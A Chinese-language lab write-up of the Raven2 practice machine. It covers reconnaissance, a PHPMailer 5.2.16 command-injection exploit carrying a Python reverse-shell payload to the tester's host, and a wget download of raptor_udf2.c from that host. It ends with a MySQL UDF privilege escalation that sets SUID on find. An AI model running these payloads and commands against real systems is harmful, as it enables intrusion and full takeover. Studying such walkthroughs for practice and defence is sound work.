Raven2

第三个渗透靶机

信息收集

这个靶机让我体会到了信息收集的重要性,后面反思了下靶机没打通的原因主要还是信息收集没到位。和前面的手法一样,先通过arp-scan -l 或者 nmap 来找到靶机IP,这里是192.168.4.132

接着进行全端口扫描,nmap -p 1-65535 192.168.4.132

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -p 1-65535 192.168.4.132
Starting Nmap 7.92 ( https://nmap.org ) at 2026-02-26 20:22 EST
Nmap scan report for 192.168.4.132
Host is up (0.00061s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
42729/tcp open unknown
MAC Address: 00:0C:29:D7:64:50 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

开放了22、80、111、42729 端口

开放了80端口,即web服务,所以我利用xray的被动扫描结合御剑进行了一波信息收集,发现用的框架是wordpress,接着用kali自带的wpscan来对wordpress进行专项扫描wpscan --url http://192.168.4.132/wordpress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[+] URL: http://192.168.4.132/wordpress/ [192.168.4.132]
[+] Started: Thu Feb 26 20:44:32 2026

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.4.132/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.4.132/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.4.132/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.4.132/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.4.132/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.7'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.4.132/wordpress/, Match: 'WordPress 4.8.7'

收集到了一些信息,可以发现wordpress的版本信息4.8.7,搜索一下,有一篇文章是讲[PHP反序列化漏洞的新攻击面_wordpress反序列化-CSDN博客](https://blog.csdn.net/Fly_hps/article/details/82736157) 但是需要先登录进去,刚好前期扫描也发现了登录的口子:http://192.168.4.132/wordpress/wp-login.php但是到这里思路就已经断了。因为不管输入什么账号密码,都会跳转。爆破也不行。

前期因为思维懒惰性,没有对收集到的信息进行一个一个遍历利用。。。其实这里通过dirb收集或者dirsearch 都可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[/home/kali/Desktop/dirsearch]
└─# dirsearch -u http://192.168.4.132
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/.local/share/Trash/files/dirsearch/reports/http_192.168.4.132/_26-02-26_20-30-22.txt

Target: http://192.168.4.132/

[20:30:22] Starting:
[20:30:23] 200 - 18KB - /.DS_Store
[20:30:25] 200 - 3KB - /about.html
[20:30:30] 200 - 3KB - /contact.php
[20:30:33] 200 - 762B - /js/
[20:30:34] 200 - 201B - /manual/index.html
[20:30:41] 200 - 816B - /vendor/
[20:30:42] 200 - 1KB - /wordpress/wp-login.php
[20:30:42] 200 - 17KB - /wordpress/

Task Completed

比如这里的vendor文件夹,我觉得没有什么东西就没去管它。。。。犯了信息收集的大忌

但其实vendor里面蕴含了大量信息:

raven1

可以发现是用的PHPMailer 以及版本为5.2.16google搜一下相关poc PHPMailer 5.2.16 exploit,第一个就是:

raven2

给了漏洞相关的详细信息,这里给了漏洞ID,所以我们也可以直接在kali里面找到相关漏洞利用的脚本:

raven3

当然我们需要对脚本进行一些修改,一共是四处:

raven4

1
2
3
4
5
6
7
8
9
10
target='http://192.168.4.132/contact.php'  #改成我们靶机的目标地址,随便一个php文件

backdoor='/123.php' #这里一开始我没改,直接用的backdoor.php这个名字,发现写不进去,换了个名字就写进去了,可能有检测?

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.4.130\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' #这里主要就是把反弹shell的IP改一下就行了,改成我们用来监听的那个IP,这里是kali的IP

fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/123.php server\" @protonmail.com',
'message': 'Pwned'} #这里主要就是写入shell的路径改下,改成web目录的路径,这里默认尝试 /var/www/html

具体使用就是直接用python3环境来运行:python 40974.py,然后kali 起一个监听4444端口: nc -lvp 4444,然后我们随便访问一下target:http://192.168.4.132/contact.php,接着会生成123.php,我们访问一下http://192.168.4.132/123.php,就会收到弹回来的shell:

raven5

反弹shell拿到的权限是www-data用户的权限。这里有个小技巧,为了让我们的终端使用更方便,不会因为ctrl+z 动不动就退出去。也不会因为删除键而产生一些乱码。我们可以这样来做:

1
2
3
4
5
反弹到shell之后
1.python -c 'import pty;pty.spawn("/bin/bash")'
2.Ctrl+z 退出去
3.stty raw -echo;fg 注意这两个命令放一起,不要分开执行,之前就是分开执行一直没成功
4.Ctrl+c 发现此时拿到的就是一个增强性的交互式终端了,可以通过⬆⬇来找命令,和我们kali正常的shell一样好用了。

raven6

进去之后依然是信息收集—

这里在 /wordpress/ 下面可以找到wp-config.php 可以翻到数据库的账号密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

root/R@v3nSecurity

但是前期我们扫描端口,发现3306没有开启,这里有两种可能,一个是mysql没有对外开放,另外一个就是可能用的是其他端口。我们ps -aux 来看一下:

发现mysql进程是运行的在,并且还是以root权限在运行

raven7

提权

接下来就是进去到mysql里面,看看能不能通过mysql来提权

1
2
3
4
mysql -uroot -p
输入密码:R@v3nSecurity
进入到mysql控制台
select version(); 得到版本5.5.60

接下来可以尝试UDF提权,网上可以搜一下mysql 5.5.60 udf exploit,可以发现一个4.x 5.x的通用UDF提权脚本,对应的EDB-ID是1518,所以这里也是可以通过kali找到对应的脚本的,找到之后,放到kali桌面上,python起一个Web服务,然后wget下载到靶机上面,通过靶机的环境来编译,具体的编译方式这里usage给出了说明:

1
2
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

有了.so文件之后我们来看看到底怎么利用

UDF就是user define function:用户自定义函数,UDF提权就是用户自定义函数提权,相当于通过mysql自定义的函数来执行系统命令,而mysql如果又是运行在root上的, 那不就是以root的身份执行了一个系统命令?那这样权限就可以得到扩充了。所以这个利用有些前提:

1
2
mysql 运行在root上面
我们拿到的mysql账户可以在一些目录下面进行文件的导入导出操作,这样才有可能把.so文件搞到插件目录/plugin里面去

第一个条件验证满足,第二个条件我们通过show global variables like 'secure%'; 来看安全参数:

1
2
3
4
5
6
7
8
mysql> show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

可以看到这里的secure_file_priv对应的空值,所以是允许文件进行导入导出的。没有任何限制。如果这里是null那就是不允许,如果是具体的一个值,那就是限制了导入导出的目录。

所以接下来做的一切工作都是想办法把UDF提权脚本弄到靶机上面,然后编译,然后弄到/plugin下面,最后通过自定义函数以root的身份来执行系统命令.

所以第一步我们是把raptor_udf2.c文件弄到靶机上面,一般会选择/tmp目录,因为一般可写。和前面几个靶机的方法一样:

kali:python -m http.server 9999

靶机:cd /tmp wget http://192.168.4.130:9999/raptor_udf2.c

弄到靶机的/tmp目录之后需要编译成.so文件,这里按照poc的usage编译会报错,问了一下gemini,做了一些更正,多了一个-fPIC

1
2
1.gcc -g -c -fPIC raptor_udf2.c -o raptor_udf2.o
2.gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

经过编译之后,在/tmp下生成了 raptor_udf2.so文件

第二步就是怎么把靶机/tmp/raptor_udf2.so文件的内容搞到mysql的plugin下面,这里先通过show global variables like 'plugin%'; 找到插件目录的位置:

1
2
3
4
5
6
7
mysql> show global variables like 'plugin%';
找到plugin所在位置:/usr/lib/mysql/plugin
mysql> use mysql;
mysql> create table foo(line blob); #创建一个表,只有一行,存储二进制数据
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so')); #把.so的二进制流数据放到foo表里面
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/227.so'; #从foo表里面提取出来写入到plugin插件目录里面
mysql> create function do_system returns integer soname '227.so';#创建同名函数do_system,并告知加载227.so 这个动态链接库。

执行完以上命令之后,可以发现函数已经被成功创建

1
2
3
4
5
6
7
mysql> select * from mysql.func;
+-----------+-----+--------+----------+
| name | ret | dl | type |
+-----------+-----+--------+----------+
| do_system | 2 | 227.so | function |
+-----------+-----+--------+----------+
1 row in set (0.00 sec)

第三步就是执行恶意命令

1
2
3
4
5
6
7
mysql> select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

此时相当于以root权限执行了chmod u+s /usr/bin/find 命令,所以我们可以利用find来提权了

raven8

可以发现提权成功。